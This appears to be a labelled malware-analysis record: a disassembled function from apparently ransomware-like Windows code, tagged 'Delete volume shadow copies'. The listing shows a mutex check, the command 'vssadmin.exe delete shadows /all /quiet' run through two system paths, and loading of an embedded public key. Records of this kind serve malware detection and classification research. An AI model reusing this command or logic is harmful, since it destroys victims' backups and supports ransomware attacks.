Function at 0x40e240
Capabilities:
Delete volume shadow copies

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4618f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push str.dsajdhas.0
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.DLL_OpenMutexW]
mov dword [0x487fb8], eax
test eax, eax
jne 0x40e715
push str.dsajdhas.0
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
mov dword [0x487fb8], eax
mov dword [ebp - 0x18], 0
mov word [ebp - 0x14], pe_nt_image_headers32
push 0x488074
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov dword [0x487fb4], eax
call dword [sym.imp.KERNEL32.DLL_FreeConsole]
mov dword [ebp - 4], 0
push str.C:WindowsSysNative_vssadmin.exe_delete_shadows__all__quiet
call fcn.0043be60
push str.C:WindowsSystem32_vssadmin.exe_delete_shadows__all__quiet
call fcn.0043be60
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
push str.AQAB
call fcn.00441fd0
add esp, 4
push eax
push str.AQAB
lea ecx, [ebp - 0x4c]
call fcn.00411a10
mov dword [ebp - 4], 2
push 0
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.0041d8d0
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 3
cmp esi, 0x48621c
je 0x40e38d
mov ecx, 0x48621c
call fcn.00410a70
push 0x18
push esi
push 0x48621c
call fcn.00439090
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x30]
call fcn.00410a70
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x40e3dc
inc ecx
mov edx, dword [ebp - 0x4c]
mov eax, edx
cmp ecx, 0x1000
jb 0x40e3d2
add ecx, 0x23
mov edx, dword [eax - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40e729
jmp 0x40e3d2
push ecx
push edx
call fcn.0043666a
add esp, 8
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
push str.zYcbRL1aoef4gbbhOXPvKl4PmKX7rbdGXL_cFEvwoT3I57jA2NGvXsMDHj_mc5uAZSbhQgc4XXilK8Fz2uIMBzwJO6rdcL4taRpizeWd75ZvlAm2ZP8tw15iB1FZiNU6ck2wmUWMZUo8UU6pfGiHRl6IFQLmvLCF4g_Q0XB25WVg4NJvqL0e87atADM60Jj_BCZAYu8jB9tVAv88afX_BM9SjRZMQjL_sYAYgOrFikOgYFVnQvEMF1bQLeFBpXEDGDPu0S5glQKREhBw1mh_CiZ9fZ4nstYEiQgJN4m30sPzKj2bcuGWG0XwrCmOZ_vvmvcGKKFG1jhGm6bBGDY7aO7VMgGhtiB2MguOoRG9Np2OeI7yvu9uM3J3WTpG216ZI4AgRaq9HbNtNNfJzPK3VWuN0XuxiFz7I7k7SlClBDQae9V91F6KBUaONOGFHgg1BXJgjdQAo5Balj3G2JR7M7MgS71XUccBuTXof7copCoibaASrSGH3LiFlGmu6UOcBmdhu9bXUl8q_FGsDYek2lcjKUjX3aZerOxaIPV6aumAOwNc6Tvib3Fsz5FfaQ38BwnNfKvdn5EX7U9U1GFPsxZr5qkumQ3DA8TLT3XGkDyeRsEM_EVYfaqCOImfNvqViJxFBfwP3C27cC_gF3vWdWmCSnsSOv0
call fcn.00441fd0
add esp, 4
push eax
push str.zYcbRL1aoef4gbbhOXPvKl4PmKX7rbdGXL_cFEvwoT3I57jA2NGvXsMDHj_mc5uAZSbhQgc4XXilK8Fz2uIMBzwJO6rdcL4taRpizeWd75ZvlAm2ZP8tw15iB1FZiNU6ck2wmUWMZUo8UU6pfGiHRl6IFQLmvLCF4g_Q0XB25WVg4NJvqL0e87atADM60Jj_BCZAYu8jB9tVAv88afX_BM9SjRZMQjL_sYAYgOrFikOgYFVnQvEMF1bQLeFBpXEDGDPu0S5glQKREhBw1mh_CiZ9fZ4nstYEiQgJN4m30sPzKj2bcuGWG0XwrCmOZ_vvmvcGKKFG1jhGm6bBGDY7aO7VMgGhtiB2MguOoRG9Np2OeI7yvu9uM3J3WTpG216ZI4AgRaq9HbNtNNfJzPK3VWuN0XuxiFz7I7k7SlClBDQae9V91F6KBUaONOGFHgg1BXJgjdQAo5Balj3G2JR7M7MgS71XUccBuTXof7copCoibaASrSGH3LiFlGmu6UOcBmdhu9bXUl8q_FGsDYek2lcjKUjX3aZerOxaIPV6aumAOwNc6Tvib3Fsz5FfaQ38BwnNfKvdn5EX7U9U1GFPsxZr5qkumQ3DA8TLT3XGkDyeRsEM_EVYfaqCOImfNvqViJxFBfwP3C27cC_gF3vWdWmCSnsSOv0
lea ecx, [ebp - 0x30]
call fcn.00411a10
mov dword [ebp - 4], 4
push 0
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.0041d8d0
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 5
cmp esi, 0x486204
je 0x40e482
mov ecx, 0x486204
call fcn.00410a70
push 0x18
push esi
push 0x486204
call fcn.00439090
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x4c]
call fcn.00410a70
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x40e4c9
inc ecx
mov edx, dword [ebp - 0x30]
mov eax, edx
cmp ecx, 0x1000
jb 0x40e4bf
add ecx, 0x23
mov edx, dword [eax - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40e72e
push ecx
push edx
call fcn.0043666a
add esp, 8
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
push 0x487f9c
call fcn.0041c970
mov eax, 0x48621c
cmp dword [0x486230], 0x10
cmovae eax, dword [0x48621c]
push eax
push 0
push 0
push 1
push 1
push dword [0x48622c]
push 0x487f9c
call fcn.0041c850
push 0x487f90
call fcn.0041c970
mov eax, 0x486204
cmp dword [0x486218], 0x10
cmovae eax, dword [0x486204]
push eax
push 0
push 0
push 1
push 1
push dword [0x486214]
push 0x487f90
call fcn.0041c850
add esp, 0x40
mov dword [ebp - 4], 6
lea ecx, [ebp - 0xac]
call fcn.004066f0
mov byte [ebp - 4], 7
lea eax, [ebp - 0x30]
push eax
call fcn.0040dea0
add esp, 4
mov byte [ebp - 4], 8
push eax
mov ecx, 0x4861ec
call fcn.00409d40
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30]
call fcn.00410a70
push 0x4861ec
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0xac]
call fcn.00414a00
mov byte [ebp - 4], 9
push eax
mov ecx, 0x486264
call fcn.00409da0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30]
call fcn.00410af0
lea eax, [ebp - 0x30]
push eax
call fcn.0040eb00
add esp, 4
mov byte [ebp - 4], 0xa
push eax
mov ecx, 0x486294
call fcn.00409da0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30]
call fcn.00410af0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x34], esp
push 0x486294
call fcn.004061c0
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 7
call fcn.0040eff0
lea eax, [ebp - 0x30]
push eax
call fcn.0040e970
add esp, 0x1c
mov byte [ebp - 4], 0xc
push eax
mov ecx, 0x4862ac
call fcn.00409da0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30]
call fcn.00410af0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x34], esp
push 0x4862ac
call fcn.004061c0
mov byte [ebp - 4], 0xd
mov byte [ebp - 4], 7
call fcn.0040eef0
add esp, 0x18
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xac]
call fcn.00409530
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0xf
push str._bomb
lea ecx, [ebp - 0x30]
call fcn.00406180
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
mov ecx, 0x488010
call fcn.00404b60
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x30]
call fcn.00410a70
mov eax, dword [0x488014]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x34], eax
je 0x40e6e1
push 0x40bc90
lea ecx, [ebp - 0x54]
call fcn.004026c0
mov byte [ebp - 4], 0x11
push eax
mov ecx, 0x48806c
call fcn.00409ea0
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x50], 0
jne 0x40e733
jmp 0x40e6e1
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.Mutex_detected_n
call fcn.0041a4d0
add esp, 4
push 0
call fcn.0043bce7
call fcn.0043b67f
call fcn.0043b67f
call fcn.004420e0
int3